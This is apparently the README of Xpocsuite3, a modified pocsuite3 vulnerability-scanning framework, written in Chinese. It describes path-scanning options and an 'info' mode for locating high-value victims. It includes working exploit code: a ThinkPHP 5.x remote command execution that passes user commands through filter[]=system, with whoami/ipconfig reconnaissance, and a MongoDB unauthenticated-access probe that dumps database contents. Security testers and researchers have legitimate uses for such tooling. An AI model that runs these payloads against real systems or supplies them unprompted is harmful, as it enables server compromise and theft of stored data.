简介
Xpocsutie3是在pocsuite3的基础上进行二次修改的一个POC检测框架。
pocsuite3是我之前最主要的poc检测框架,后来也被我作为一个poc检测模块的核心集成到了我的资产管理平台。但是随着持续使用中,发现其还是有一些不足,比如在编写poc时特别繁琐,在应对一些特殊场景时不够灵活等问题。
不过也随着对pocsuite3的整体框架了解越来越深,发现其扩展性很强,完全可以根据自己的一些习惯进行进一步优化,使其发挥更大的作用,Xpocsutie3便由此而生。
特点
兼容原版poc
目前由于很多poc还是用原pocsuite3格式编写,改动工作量有点大,所以目前改动的前提是不能影响原poc的使用。
增加参数 --uri
这里主要增加应对网站不是搭建在根路径的情况,比如 http://xxx.xxx.xxx.xxx/thinkphp/public/index.php
的检测路径应该是/thinkphp/public/
而不是根路径。
- uri:使用当前uri进行检测,默认使用当前路径路径检测,即
http://xxx.xxx.xxx.xxx/thinkphp/public/
- root:使用根目录进行检测,主要用来应对传入带路径的目标,但漏洞存在于根路径的情况。即
http://xxx.xxx.xxx.xxx/
- all:检测所有路径,应对漏洞存在路径中间或需要进行深度扫描的情况。即上面这个目标会检测
/
/thinkphp
/thinkphp/public/
三个路径
增加info模式
测试大量目标时候经常发现许多存在漏洞,但没什么实际价值的情况。比如没有发现数据库弱口令,但是连上去发现是个空的数据库;发现个命令执行,但是个没什么用的测试服务器之类的情况。所以增加这个模式,旨在存在大量漏洞的情况下快速定位高价值目标。
简单来说就是verify模式主要是在最小代价的情况下检测漏洞是否存在,而info模式是在发现漏洞后再进一步的自动收集目标的相关信息。
优化poc编写
原pocsuite3在编写poc时,需要先写许多与检测无关但是却必填的内容,导致很多核心就一行代码的poc脚本至少也要写几十行代码才能完成。所以在XPocsuite3中,除关键检测逻辑外,其他原必填字段全部由框架自动填充,使使用者更加专注检测逻辑的编写,减少工作量。
将poc更细分为http格式和非http格式,http类型的poc默认传入url参数;非http类型的poc默认传入host,port参数,由XPocsuite3根据poc类型自动传入。
将原版字段都增加默认值并放入POCBase中,减少编写poc的工作量。
增加了一些新的属性,非必填,用于丰富输出内容,方便给插件或者其他平台输出更详细的检测内容。
检测逻辑完全独立
编写poc的重点是检测方法的编写,但pocsuite3调用对应的检测接口函数前后并没由做到足够好的处理,在编写poc时,经常需要先对目标格式处理,然后再实现检测逻辑,检测完毕还需要将结果调整为pocsuite3支持的类型,这对于编写者来说,显然有些繁琐。
好在pocsuite3预留的是接口函数,在XPocsuite3中已将原接口函数进行重写,原接口函数主要用于完成一般场景下的输入和输出处理并调用对应的实现检测逻辑函数,这样在XPocsuite3中编写poc时只需完成原接口函数对应检测逻辑函数即可,在使用使框架调用时会自行对结果输入和输出。如果遇到复杂场景,亦在poc中可重新实现这些接口函数。
_verify
调用check
函数_info
调用info
函数_attack
调用attack
函数
其他
- 去除原版严格的目标格式校验,增加目标格式自动调整功能,尽可能由框架来修复输入的错误目标格式
- 修复使用中遇到一些bug
部分功能展示
uri参数
实际场景经常存在指定路径无漏洞,但子路径可能存在漏洞的情况。如: http://test.com/thinkphp/public/
存在thinkphp命令执行,检测http://test.com/thinkphp/public/admin/index
便无法检测出来漏洞,这时候可以使用uri参数
--uri uri(默认模式)
:
实际检测路径是 http://test.com/thinkphp/public/admin/index
--uri root
:
实际检测路径是 http://test.com/
--url all
:
实际检测路径有:
http://test.com/thinkphp/public/admin/index
http://test.com/thinkphp/public/admin/
http://test.com/thinkphp/public/
http://test.com/thinkphp/
http://test.com/
因此在这个情况下能检测出漏洞
info模式
获取未授权访问的redis数据库信息
无输入格式限制
框架不再限制输入格式,并最大可能自动修复错误格式(当然太离谱的格式用框架也救不了~)
原版
python3 cli.py -u localhost -r pocs/redis_unauthorized_access.py
XPocsuite3
python3 run.py -u localhost -r pocsuite3/pocs/demo/redis_unauthorized_access.py
极简poc
除核心检测函数外皆可省去!
新版poc编写
Http类
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import requests
from pocsuite3.lib.core.enums import POC_CATEGORY, VUL_TYPE
from pocsuite3.lib.core.poc import POCBase
from pocsuite3.lib.core.register import register_poc
class POC(POCBase):
#####以下这些属性皆可不写#####
vulID = 10000
name = 'Thinkphp 命令执行2'
version = '1.0.0'
author = 'HX'
protocol = POC_CATEGORY.PROTOCOL.HTTP
install_requires = []
appName = 'Thinkphp'
appVersion = '5.0.0<=ThinkPHP5<=5.0.23、5.1.0<=ThinkPHP<=5.1.30'
vulType = VUL_TYPE.CODE_EXECUTION
category = POC_CATEGORY.EXPLOITS.WEBAPP
desc = '本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。'
repair_suggest = '升级到最新版本'
cvss = 'high'
#####以上这些属性皆可不写#####
# 使用verify模式需实现的方法
def check(self, url): # http类poc默认传入url参数
flag = 'PHP Extension Build'
data = "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1"
payloads = [
r"/index.php?s=captcha"
]
for payload in payloads:
vul_url = url + payload
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
r = requests.post(vul_url, data=data, headers=headers)
if flag in r.text:
result = {}
result['Name'] = self.name
result['Url'] = vul_url
return result
return False
# 使用attack模式需实现的方法
def attack(self, url, command): # http类poc默认传入url,command参数
attack_url = url + "/index.php?s=captcha"
data = {"_method": "__construct", "filter[]": "system", "method": "get",
"server[REQUEST_METHOD]": command}
try:
text = requests.post(attack_url, data=data, timeout=10).text
res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
if res:
result = {}
result['Name'] = self.name
result['Url'] = self.url
result['Result'] = res[0].strip()
return result
except:
result = {}
result['Name'] = self.name
result['Url'] = self.url
result['Result'] = '命令执行异常'
return result
# 使用info模式需实现的方法
def info(self, url): # http类poc默认传入url参数
attack_url = url + "/index.php?s=captcha"
info=''
data = {"_method": "__construct", "filter[]": "system", "method": "get",
"server[REQUEST_METHOD]": 'whoami'}
text = requests.post(attack_url, data=data, timeout=4).text
res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
info+='whoami: {}\n'.format(res[0].strip())
data = {"_method": "__construct", "filter[]": "system", "method": "get",
"server[REQUEST_METHOD]": 'ipconfig'}
text = requests.post(attack_url, data=data, timeout=4).text
res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
info += 'ipconfig: {}\n'.format(res[0].strip())
if res:
result = {}
result['Name'] = self.name
result['Url'] = self.url
result['Info'] = info
return result
register_poc(POC)
非Http类
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import binascii
import socket
import traceback
import pymongo
from pocsuite3.lib.core.enums import POC_CATEGORY
from pocsuite3.lib.core.poc import POCBase
from pocsuite3.lib.core.register import register_poc
class POC(POCBase):
vulID = 1
name = 'Mongodb 未授权访问'
version = '1.0.0'
author = 'HX'
protocol = POC_CATEGORY.PROTOCOL.TELENT # 非http类型需要声明非http,非http这行不能省略 !!
install_requires = ['pymongo'] # 如需安装其他模块 可在此处声明
appName = 'Mongodb'
appVersion = 'ALL'
def check(self, host, port=27017): # 非http类poc默认传入host,port参数,port参数填默认端口
try:
socket.setdefaulttimeout(10)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
data = binascii.a2b_hex(
"3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000")
s.send(data)
result = s.recv(1024)
if "ismaster".encode() in result:
getlog_data = binascii.a2b_hex(
"480000000200000000000000d40700000000000061646d696e2e24636d6400000000000100000021000000026765744c6f670010000000737461727475705761726e696e67730000")
s.send(getlog_data)
result = s.recv(1024)
if "totalLinesWritten".encode() in result:
result = dict()
result['PocName'] = self.name
result['Host'] = host
result['Port'] = port
return result
except Exception as e:
traceback.print_exc()
def info(self, host, port=27017): # 非http类poc默认传入host,port参数,port参数填默认端口
info = ''
client = pymongo.MongoClient("mongodb://{}:{}/{}".format(host, port, ''))
db_list = client.list_database_names()
black_db = ['admin', 'config', 'local']
for dbname in db_list:
if dbname not in black_db:
info = info + '数据库{}信息如下:\n'.format(dbname)
db = client[dbname]
col_list = db.list_collection_names()
for colname in col_list:
col = db[colname]
tmpdata = col.find_one()
tmpcount = col.estimated_document_count()
info = info + '{}共{}条数据,第一条数据为:{}\n'.format(colname, tmpcount, tmpdata)
info = info + '\n'
return info
def attack(self, host, port=27017, command=''):# 非http类poc默认传入host,port,command参数,port参数填默认端口,command可填写默认命令
pass
register_poc(POC)
获取途径
关注公众号 安全小工坊
,回复xpocsuite3
获取下载链接
法律免责声明
未经事先双方同意,使用Xpocsuite3攻击目标是非法的。
Xpocsuite3仅用于安全测试目的